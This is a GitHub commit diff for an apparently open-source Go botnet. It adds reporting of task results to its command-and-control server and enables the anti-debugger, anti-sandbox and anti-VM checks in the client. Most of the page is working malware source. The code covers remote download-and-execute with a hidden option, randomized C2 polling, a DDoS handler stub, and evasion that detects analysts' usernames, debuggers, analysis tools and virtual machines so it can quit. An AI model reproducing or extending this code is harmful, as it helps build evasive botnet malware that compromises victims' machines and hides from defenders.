Skip to content

Commit 1fa6b85

Browse files
unknownunknown
authored andcommitted
⚡ Update v1.3.2
1. Add task logs function 2. Update cancel task function 3. Add anti-vm, anti-sandbox and anti-debugger features
1 parent 90e6422 commit 1fa6b85

File tree

11 files changed

+358
-61
lines changed

11 files changed

+358
-61
lines changed

.gitignore

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,4 +6,5 @@
66
/server/.vscode/
77
/test/
88
/pic/
9-
/server/*.exe
9+
/server/*.exe
10+
/server/Log/

README.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,8 @@ Misuse of this software may violate laws. Read the disclaimer below before using
55

66
# 📌 Features
77
1. Remote Download Execute: It could execute a local executable or download from remote host and execute
8+
2. Evasion: anti-vm, anti-sandbox and anti-debugger features
9+
3. Task logs: It could record task status and manage it or export it.
810

911
# 📄 License
1012
MIT License

client/components/core.go

Lines changed: 50 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,10 @@
11
package components
22

33
import (
4+
"encoding/json"
45
"log"
56
"os"
7+
"strconv"
68
"strings"
79
"time"
810

@@ -14,25 +16,54 @@ func do_register_bot(pkg *ServerReply, host string) bool {
1416
}
1517

1618
func do_remote_download_execute(pkg *ServerReply, host string) bool {
17-
commandline := pkg.Args["args"]
18-
strArgs := strings.Fields(commandline.(string))
19-
option := ""
19+
commandline := pkg.Args["args"].(string)
20+
hidden := pkg.Args["hidden"].(bool)
21+
action := commandline
22+
if hidden {
23+
action += " (hidden)"
24+
}
2025

2126
// Collect options if it exists
27+
option := ""
28+
strArgs := strings.Fields(commandline)
2229
if len(strArgs) > 1 {
2330
for i := 1; i < len(strArgs); i++ {
2431
option += (strArgs[i] + " ")
2532
}
2633
option = strings.TrimSpace(option)
2734
}
2835
// Remote download and execute
29-
ok := remote_execute(strArgs[0], pkg.Args["hidden"].(bool), option)
36+
ok := remote_execute(strArgs[0], hidden, option)
37+
error1 := "failed"
38+
if ok {
39+
error1 = "done"
40+
}
3041

31-
var reply ServerReply
32-
reply.Args = make(map[string]any)
33-
reply.Headers = make(map[string]string)
42+
report := Report{
43+
Guid: g_guid,
44+
TaskID: strconv.FormatInt(pkg.TaskId, 10),
45+
Success: ok,
46+
Output: "",
47+
Error: error1,
48+
Extra: make(map[string]any),
49+
}
50+
report.Extra["action"] = action
51+
byt, _ := json.Marshal(report)
52+
// Send report to C2
53+
54+
// Build url
55+
url := build_url(host, "/report", botcore.use_ssl)
56+
// Calculate signature
57+
timestamp := generate_utc_timestamp_string()
58+
sign := create_sign(g_token, g_guid, timestamp)
59+
// Send HTTP POST request
60+
do_head_post(url, byt, map[string]string{
61+
"X-Guid": g_guid,
62+
"X-Time": timestamp,
63+
"X-Sign": base64_enc(sign),
64+
}, botcore.use_ssl)
3465

35-
return
66+
return true
3667
}
3768

3869
func do_ddos_attack(pkg *ServerReply, host string) bool {
@@ -64,10 +95,8 @@ func send_poll_request(host string) BotState {
6495
url := build_url(host, "/poll", botcore.use_ssl)
6596

6697
// Hmac calculation
67-
bytTokens, _ := base64_dec(g_token)
6898
timestamp := generate_utc_timestamp_string()
69-
data := []byte(g_guid + timestamp)
70-
sign := hmac_sha256(bytTokens, data)
99+
sign := create_sign(g_token, g_guid, timestamp)
71100

72101
// Send poll request
73102
reply := do_head_post(url, nil, map[string]string{
@@ -153,11 +182,8 @@ func handle_command() {
153182
var stat BotState = StateReadGuid
154183

155184
for {
156-
// time.Sleep(time.Second * time.Duration(random_int(1, 5)))
185+
time.Sleep(time.Second * time.Duration(random_int(1, 5)))
157186
stat = auth_bot_poll(stat, botcore.hosts[0])
158-
// for _, host := range botcore.hosts {
159-
160-
// }
161187
}
162188

163189
}
@@ -172,17 +198,17 @@ func Run() {
172198
time.Sleep(time.Second * time.Duration(botcore.delay))
173199

174200
// Try to fuck them all
175-
// if botcore.anti_debug && is_debugger_exist() {
176-
// return
177-
// }
201+
if botcore.anti_debug && is_debugger_exist() {
202+
return
203+
}
178204

179-
// if botcore.anti_sandbox && in_sandbox_now() {
180-
// return
181-
// }
205+
if botcore.anti_sandbox && in_sandbox_now() {
206+
return
207+
}
182208

183-
// if botcore.anti_vm && in_vm_now() {
184-
// return
185-
// }
209+
if botcore.anti_vm && in_vm_now() {
210+
return
211+
}
186212

187213
// Install self
188214
// if botcore.install {

client/components/crypto.go

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -29,3 +29,10 @@ func hmac_sha256(key, data []byte) []byte {
2929
mac.Write(data)
3030
return mac.Sum(nil)
3131
}
32+
33+
// Create sha256-based HMAC
34+
func create_sign(token string, guid string, timestamp string) []byte {
35+
bytToken, _ := base64_dec(token)
36+
data := []byte(guid + timestamp)
37+
return hmac_sha256(bytToken, data)
38+
}

client/components/evasion.go

Lines changed: 90 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,25 +1,108 @@
11
package components
22

3-
func is_debugger_exist() bool {
4-
ret, _, _ := pfnIsDebuggerPresent.Call()
5-
if ret != 0 {
6-
return true
7-
}
3+
import (
4+
"os"
5+
"os/exec"
6+
"os/user"
7+
"runtime"
8+
"strings"
9+
)
810

9-
for i := 0; i < len(debuggers); i++ {
10-
if find_process_by_name(debuggers[i]) {
11+
func is_debugger_exist() bool {
12+
if runtime.GOOS == "windows" {
13+
ret, _, _ := pfnIsDebuggerPresent.Call()
14+
if ret != 0 {
1115
return true
1216
}
17+
18+
for i := 0; i < len(debuggers); i++ {
19+
if find_process_by_name(debuggers[i]) {
20+
return true
21+
}
22+
}
23+
} else {
24+
// linux
25+
data, err := os.ReadFile("/proc/self/status")
26+
if err != nil {
27+
return false
28+
}
29+
lines := strings.Split(string(data), "\n")
30+
for _, line := range lines {
31+
if strings.HasPrefix(line, "TracerPid:") {
32+
fields := strings.Fields(line)
33+
if len(fields) == 2 && fields[1] != "0" {
34+
return true
35+
}
36+
}
37+
}
38+
1339
}
1440

1541
return false
1642
}
1743

1844
func in_sandbox_now() bool {
45+
if runtime.GOOS == "windows" {
46+
// Check username
47+
user := os.Getenv("USERNAME")
48+
sandboxUsers := []string{"sandbox", "test", "malware", "analyst"}
49+
for _, bad := range sandboxUsers {
50+
if strings.Contains(strings.ToLower(user), bad) {
51+
return true
52+
}
53+
}
54+
// Check senstive process
55+
cmd := exec.Command("tasklist")
56+
out, err := cmd.Output()
57+
if err != nil {
58+
return false
59+
}
60+
sandboxProcs := []string{"vmsrvc.exe", "vmtoolsd.exe", "vboxservice.exe", "vboxtray.exe", "wireshark.exe"}
61+
output := strings.ToLower(string(out))
62+
for _, proc := range sandboxProcs {
63+
if strings.Contains(output, proc) {
64+
return true
65+
}
66+
}
67+
} else {
68+
// Linux
69+
u, err := user.Current()
70+
if err == nil {
71+
low := strings.ToLower(u.Username)
72+
return strings.Contains(low, "sandbox") || strings.Contains(low, "test") || strings.Contains(low, "malware")
73+
}
74+
}
1975
return false
2076
}
2177

2278
func in_vm_now() bool {
79+
if runtime.GOOS == "windows" {
80+
cmd := exec.Command("powershell", "-Command", "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model")
81+
out, err := cmd.Output()
82+
if err != nil {
83+
return false
84+
}
85+
lower := strings.ToLower(string(out))
86+
vmSigns := []string{"vmware", "virtualbox", "kvm", "xen", "qemu", "hyper-v"}
87+
for _, s := range vmSigns {
88+
if strings.Contains(lower, s) {
89+
return true
90+
}
91+
}
92+
} else {
93+
// Linux
94+
data, err := os.ReadFile("/sys/class/dmi/id/product_name")
95+
if err != nil {
96+
return false
97+
}
98+
content := strings.ToLower(string(data))
99+
indicators := []string{"kvm", "virtualbox", "vmware", "qemu"}
100+
for _, key := range indicators {
101+
if strings.Contains(content, key) {
102+
return true
103+
}
104+
}
105+
}
23106
return false
24107
}
25108

client/components/global.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -73,7 +73,7 @@ var (
7373
pfnGetCurrentProcess = kernel32.NewProc("GetCurrentProcess")
7474

7575
botcore = BotCore{
76-
version: "1.2.1",
76+
version: "1.3.2",
7777
hosts: []string{"127.0.0.1:8080"},
7878
singleton: true,
7979
anti_debug: false,

server/common/global.go

Lines changed: 11 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -11,8 +11,8 @@ var (
1111
Seed = rand.New(rand.NewSource(time.Now().UnixNano()))
1212
Cfg = Config{}
1313
Db *sql.DB = nil
14-
Version = "v1.2.1"
15-
Account = ""
14+
Version = "v1.3.2"
15+
Account = 0
1616
CurrentBot int64 = 5
1717
Mutex sync.Mutex
1818
)
@@ -42,6 +42,15 @@ type Config struct {
4242
} `yaml:"auth"`
4343
}
4444

45+
type Report struct {
46+
Guid string `json:"guid"`
47+
TaskID string `json:"task_id"`
48+
Success bool `json:"success"`
49+
Output string `json:"output"`
50+
Error string `json:"error"`
51+
Extra map[string]any `json:"extra"`
52+
}
53+
4554
type Client struct {
4655
Id int `json:"id"`
4756
Guid string `json:"guid"`

server/config.yaml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@ database:
99
name: thisbot
1010
log:
1111
enabled: true
12-
output: stdout
12+
output: file
1313
filepath: ./Log/config.yaml
1414
level: info
1515
auth:

0 commit comments

Comments
 (0)